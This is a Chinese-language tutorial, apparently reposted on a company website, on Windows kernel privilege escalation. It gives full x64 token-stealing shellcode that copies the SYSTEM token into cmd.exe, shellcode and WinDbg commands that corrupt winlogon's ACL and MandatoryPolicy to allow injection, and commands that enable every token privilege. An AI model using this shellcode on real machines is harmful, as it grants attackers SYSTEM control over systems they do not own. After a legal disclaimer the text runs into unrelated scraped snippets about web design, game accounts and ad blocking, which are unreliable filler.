前置知識推薦:
https://cloud.tencent.com/developer/article/1471233
http://terminus.rewolf.pl/terminus/
https://ntdiff.github.io/#versionLeft=Win7%2Fx64%2FSystem32&filenameLeft=ntoskrnl.exe&typeLeft=Standalone%2F_KPCR&versionRight=Win10_20H2_20H2%2Fx64%2FSystem32&filenameRight=ntoskrnl.exe&typeRight=Standalone%2F_KPCR
令牌竊取
在Windows中令牌竊取是一個常用于權限提升的技術,再利用過程中必須定位EPROCESS結構,一般我
們會使用常量來定位此類結構,比如在GS中0x188為KTHREAD結構,我們可以通過其來定位其他結構,
我們可以先把它放入R9寄存器中:
mov r9, qword ptr gs:[0x188]
目前我們已經在r9中保存了KTHREAD,下面我們可以來定位Process,也就是在KTHREAD的+0x200 處。
轉換為匯編就是:
mov r9, qword ptr[r9+0x220]
由于我們要提升父進程的權限,我們需要找到cmd.exe的 ProcessID
轉換成匯編就是:
mov r8, qword ptr[r9+0x540]
下面就是找到它的EPROCESS地址,我們可以在偏移 +0x440 和 +0x448 處看到我們有 ProcessID 和ActiveProcessLinks 結構。
后一個值是可以解析的 EPROCESS 對象的鏈接列表,其中每個 PID 與屬于 cmd.exe 的 PID 進行比較,
保存在 r8 寄存器中。
mov rax, r9loop1:mov rax, qword ptr [rax + 0x448]sub rax, 0x448cmp qword ptr[rax + 0x440],r8jne loop1
一旦我們找到了cmd.exe的 EPROCESS 數據結構,我們就可以檢查它并在偏移量 0x4b8 處找到 Token 對象。
mov rcx, raxadd rcx, 0x4b8
下面就是在剛才的進程列表中尋找system進程,并復制令牌。
mov rax, r9loop2:mov rax, qword ptr [rax +0x448].sub rax, 0x448cmp [rax + 0x440], 4jne loop2mov rdx, reaxadd rdx, 0x4b8
然后就是覆蓋令牌
mov rdx, qword ptr [rdx]mov qword ptr [rcx], rdxret
最后的shellcode
[BITS 64]start:mov r9, [gs:0x188] ;stores KPROCESS/currentThread valuemov r9, [r9+0x220] ;stores EPROCESS as an offset to KTHREADmov r8, [r9+0x540] ;stores InheritedFromUniqueProcessId(cmd.exe PID)mov rax, r9 ;moves cmd's EPROCESS into eaxloop1:mov rax, [rax + 0x448] ;saves the next linked list pointer intoraxsub rax, 0x448 ;gets the KPROCESScmp [rax + 0x440],r8 ;compare the ProcessId with cmd's.jne loop1 ;if not equal, repeatmov rcx, rax ;if equal, saves cmd's EPROCESS into rcxadd rcx, 0x4b8 ;store cmd's token into rcxmov rax, r9 ;moves cmd's EPROCESS into eaxloop2:mov rax, [rax +0x448] ;saves the next linked list pointer intoraxsub rax, 0x448 ;gets the KPROCESScmp byte [rax + 0x440], 4 ;compare the ProcessId with System(4)jne loop2 ;if not equal, repeatmov rdx, rax ;if equal, saves System's EPROCESS intordxadd rdx, 0x4b8 ;stores System's token pointer into rdxmov rdx, [rdx] ;stores System's token value into rdxmov [rcx], rdx ;replace cmd's original token withSystem'sret
windbg操作,查找system進程:
查看其結構:
在0x4b8處為Token其對應的結構體如下:
其RefCnt為0y1010,即十進制的10,你可以看到其為10,但我們需要取反:
然后啟動cmd進程:
替換Token:
ACL修改
ACL為Windows安全模型中重要的一環,在windows(1607 (Build 14393))版本之前的系統中,可以使用
SecurityDescriptor置空來實現對ACL的任意操控,比如某個進程以system進程啟動,在具有ACL的情況
下我們在沒用相關權限的情況下是無法對其進行操作的,但如果將其ACL置空我們便可以對其進行操
作,然后使用如進程注入之類的技術來進行system權限的shell派生,達到權限提升的操作。
拿explorer為例,查看其結構
!process 0 0 explorer.exe
查看Object結構
!object ffffc08f854ca080
其中的ObjectHeader為結構的具體地址,查看其結構:
可以看到在0X028處為安全描述符。而Body處則是指向進程對象的起始位置。你此時查看其描述是無法 看到的:
因為該地址為偽地址,你需要將其第四位置空,簡單來說就是用&操作:
其本質為SecurityDescriptor 指針指向 SECURITY_DESCRIPTOR 對象,該對象包含具有一個或多個 ACCESS_ALLOWED_ACE 結構的 DACL:
typedef struct _SECURITY_DESCRIPTOR {UCHAR Revision;UCHAR Sbz1;SECURITY_DESCRIPTOR_CONTROL Control;PSID Owner;PSID Group;PACL Sacl;PACL Dacl;} SECURITY_DESCRIPTOR, *PISECURITY_DESCRIPTOR;
其中AceCount為0x3,說明其包含3個ACE,其類型皆為ACCESS_ALLOWED_ACE_TYPE,且其中一個用 于S-1-5-18:system。
而如果此時你將其置空的話:
eq 0xffffd28d`fcebc763 0
則會觸發藍屏:
這是因為筆者的測試系統為20H2,在windows的1607 之后增加了緩解ACL置空攻擊的手段,其偽代碼 如下:
if(ObjectHeader.SecurityDescriptor == NULL && (ObjectType.SecurityRequired ||(ObjectHeader.InfoMask &2) != 0)){BugCheckEx(BAD_OBJECT_HEADER);}
如果想查看ACE的話,可以看到安全描述符的結構(ACE在0x30處):
因為微軟并沒有提供相關結構,所以只能手工查看:
而我們的目標也就是把S-1-5-18修改為S-1-5-15,即18(0x12) 改成15(0xf)。因為我目前的進程非system 進程,所以查看的話顯示的就是15:
所以我換成一個system進程即winlogon進程再來查看:
db ffff9c0a87e44760+48 L1
至于48這個值怎么來的,則是前人總結的結果,而我們只需要修改其為b即可達到我們的效果,修改的信 息:
eb ffff9c0a87e44760+48 b
已變成s-1-5-11。process explore顯示如下:
但此時你仍然無法完成利用進程注入派生system進程的過程:
這個跟我們的進程上下文有關,我們可以查看注入進程的Token信息:
dt _Token (poi(ffff818dc050a080+4b8) & fffffffffffffff0)
其中的MandatoryPolicy值為3。而默認winlogon進程的MandatoryPolicy的值為1。
而按照msdn所說只要將其該為0即可注入:
eb (poi(ffff818dc050a080+4b8) & fffffffffffffff0)+0d4 0
此時再進行注入,成功得到system的cmd:
下面就是shellcode的編寫了,跟之前的一樣通過gs找KTHREAD然后用KTHREAD找EPROCESS
mov r9, [gs:0x188] ;stores KPROCESS/currentThread valuemov r9, [r9+0x220] ;stores EPROCESS as an offset to KTHREADmov rax,r9
然后在5a8處找到ImageFileName:
實現:
mov rax, [rax+448h]procloop:lea rbx, [rax-448h]mov rax, [rax]add rbx, 5a8hcmp dword ptr [rbx], 6c6e6977hjne procloop
找到后就是利用其SecurityDescriptor來將其偏移處的地址改為0:
sub rbx, 458hmov rax, qword ptr [rbx]and rax, 0FFFFFFFFFFFFFFF0hadd rax, 48hmov byte ptr [rax], 0bh
然后就是修改令牌:
add rcx, 4b8hmov rax, qword ptr [rcx]and rax, 0FFFFFFFFFFFFFFF0hadd rax, 0d4hmov byte ptr [rax], 0ret
Token修改
在Token結構體中,有一個名為Privileges的屬性,其本質為一個_SEP_TOKEN_PRIVILEGES結構體
而我們則是需要修改該結構體實現權限提升
查看其結構體與其權限:
然后修改我們cmd的結構體:
lkd> eq ffffc70255ded060+0x040 0x0000001f`f2ffffbclkd> eq ffffc70255ded060+0x048 0x0000001f`f2ffffbc
此時已獲得所有權限:
請嚴格遵守網絡安全法相關條例!此分享主要用于學習,切勿走上違法犯罪的不歸路,一切后果自付!
本文由 貴州做網站公司 整理發布,部分圖文來源于互聯網,如有侵權,請聯系我們刪除,謝謝!
網絡推廣與網站優化公司(網絡優化與推廣專家)作為數字營銷領域的核心服務提供方,其價值在于通過技術手段與策略規劃幫助企業提升線上曝光度、用戶轉化率及品牌影響力。這...
在當今數字化時代,公司網站已成為企業展示形象、傳遞信息和開展業務的重要平臺。然而,對于許多公司來說,網站建設的價格是一個關鍵考量因素。本文將圍繞“公司網站建設價...
在當今的數字化時代,企業網站已成為企業展示形象、吸引客戶和開展業務的重要平臺。然而,對于許多中小企業來說,高昂的網站建設費用可能會成為其發展的瓶頸。幸運的是,隨...
Cf綠色聯盟怎么退?聽說退了會封號?你好,LZ。CF綠色聯盟can 不要放棄。我建議既不退出也不開G,如果LZ堅持退出,可以開G,封了就自動退出。只會封半年,就看LZ有沒有耐心了。我再提醒你一次,如果你打開它,它被封了,你覺得你能找到什么樣的解封者?這樣肯定不行。這些都是騙人的。;的錢。cf綠色聯盟怎么退出?成功加入綠色聯盟,過一段時間想退出怎么辦?打開CF官網綠色聯盟的網頁,點擊退出綠色聯盟。...
nba2kol哪些球員可以秒板?姚明,我記得有個送姚明的活動,然后我就帶著姚明到處上街了。二板沒解釋。其次,我不得不提到科迪凱勒。第二板不是蓋的,綠卡經??梢猿?。你可以試試?;蛘進ackey,Acic,Youdu。光是搶籃板就了。nba2k online怎么秒板?關于二板循環有兩種說法:第一種是球落地一秒后才觸框。第二種:球剛碰到框架,就會秒掉球。第二板的關鍵:加速A第二板的時機和站位:架前一小...
怎樣屏蔽360彈出的廣告?這個你安裝一個360安全衛士最新版8.0正式版的,在它的網盾里有個廣告過濾,你按你的需要來自動打開過濾功能就可以了。如果沒有我還是有問題那肯定用360安全衛士進行插件掃描,清除掉,和修復系統.怎樣關閉瀏覽器中的屏蔽廣告的插件?1、要是你找不到插件的位置,這樣你可以不是把它不小心碰到追蹤了,實際上它還在后臺經營管理。那么怎樣才能找不到這些插件呢?以360安全瀏覽器為例子,首...